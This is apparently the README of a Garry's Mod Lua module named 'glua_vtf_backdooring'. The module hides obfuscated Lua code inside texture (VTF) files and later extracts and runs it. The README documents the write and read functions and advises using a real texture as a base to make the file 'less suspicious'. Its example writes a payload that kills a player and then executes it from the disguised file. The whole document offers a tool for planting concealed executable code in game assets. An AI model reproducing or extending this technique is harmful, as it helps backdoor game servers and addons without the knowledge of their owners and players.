glua_vtf_backdooring

Injecting lua code in working VTF files and then running it

I advise you to implement your own cryptographic algorithm

Youtube video

[char* secret_key, int64 offset] mat_payload.WriteCodeToVTF(char* identifier, char* lua_code, [optional] char* vtf_to_inject)

identifier is the name of the vtf, no extension needed, it will go in data/

lua code is the payload, ASCII ONLY, no UTF8.

vtf_to_inject if you want to use a vtf as a base to make it less suspiscious, nil for empty vtf (65 bytes iirc)

Returns :

secret_key the generated key to "obfuscate the code", needed to read the code, i return it to allow you to automatize stuff

offset offset of the payload, same reason as above

It allows you to run stuff like :

local func = mat_payload.ReadCodeFromVTF("garrysmod/data/skybox_item_10_tmp.vtf", mat_payload.WriteCodeToVTF("skybox_item_10_tmp", code, "garrysmod/addons/CSS Content Addon (Jul2014)/materials/buildings/antn01.vtf"))

Il also prints a message in the console giving you the key to read it and the offset from where the payload starts

void* mat_payload.ReadCodeFromVTF(char* path, char* key, int64 offset)

path BASE_PATH path of the file to read the payload from

key key to read the payload

offset where the payload starts

Example lua code

All paths are in BASE_PATH context

require("mat_payload")


local code = [[

print'yolahahaha hello from a vtf file'

print'this is sparta'

player.GetByID(1):Kill()
print(SysTime())


]]

mat_payload.WriteCodeToVTF("skybox_item_10_tmp", code, "garrysmod/addons/CSS Content Addon (Jul2014)/materials/buildings/antn01.vtf")


--Wrote to file : [garrysmod/data/skybox_item_10_tmp.vtf] with secret key "68124168458642", and VTF offset is 87600, SAVE ALL OF THESE INFORMATIONS


local func = mat_payload.ReadCodeFromVTF("garrysmod/data/skybox_item_10_tmp.vtf", "68124168458642", 87600)

func()